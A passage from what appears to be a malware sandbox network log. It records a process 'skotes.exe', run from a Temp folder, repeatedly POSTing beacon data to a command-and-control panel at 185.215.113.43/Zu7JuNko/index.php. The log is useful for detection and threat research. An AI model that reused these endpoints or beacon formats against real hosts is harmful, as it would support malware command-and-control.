Nov 15, 2024 16:18:39.806746960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50156	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:41.661629915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:42.549341917 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50157	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:44.079463005 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:45.006432056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50158	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:46.672426939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:47.607129097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50159	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:49.139791965 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:50.049942970 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50160	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:51.684556961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:52.596719027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50162	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:54.125669003 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:55.064881086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50167	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:56.699054003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:57.611664057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50168	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:59.150573015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:00.053801060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50169	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:01.686753035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:02.586168051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50170	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:04.136627913 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:05.041939020 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50171	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:06.690824032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:07.589381933 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50172	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:09.103614092 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:10.019993067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50173	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:11.639040947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:12.548446894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	57599	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:14.061005116 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:14.973483086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	57600	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:16.607780933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:17.530544996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	57601	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:19.049595118 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:19.980498075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	57602	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:21.643838882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:22.553827047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	57604	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:24.074932098 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:24.984131098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	57607	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:26.606580019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:27.499295950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	57610	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:29.012208939 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:29.940701008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	57611	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:31.573975086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:32.484049082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	57612	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:34.000670910 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:19:34.920253992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	57613	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:19:36.549065113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:19:37.467902899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:19:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	57616	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
